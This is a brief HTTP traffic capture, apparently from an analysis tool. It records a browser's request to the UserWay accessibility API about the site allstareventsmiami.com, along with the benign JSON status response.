2025-03-11 21:43:18 UTC	651	OUT	GET /api/a11y-data/v0/page/https%3A%2F%2Fallstareventsmiami.com%2F/DESKTOP/WIDGET_OFF/status HTTP/1.1 Host: api.userway.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://allstareventsmiami.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:18 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:18 GMT Content-Type: application/json; charset=utf-8 Content-Length: 77 Connection: close X-Service-Version: seo-w-6db706d1 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, PATCH, POST, DELETE Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Cache-Control: no-cache, no-store, must-revalidate ETag: W/"4d-wYLRLrbWidRwnfhEvoB+Y2U04NY" Vary: Accept-Encoding
2025-03-11 21:43:18 UTC	77	IN	Data Raw: 7b 22 70 61 79 6c 6f 61 64 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 43 4f 4e 54 52 49 42 5f 50 52 45 53 45 4e 54 22 7d 2c 22 70 61 79 6c 6f 61 64 54 79 70 65 22 3a 22 50 61 67 65 43 6f 6e 74 72 69 62 53 74 61 74 75 73 44 74 6f 22 7d Data Ascii: {"payload":{"status":"CONTRIB_PRESENT"},"payloadType":"PageContribStatusDto"}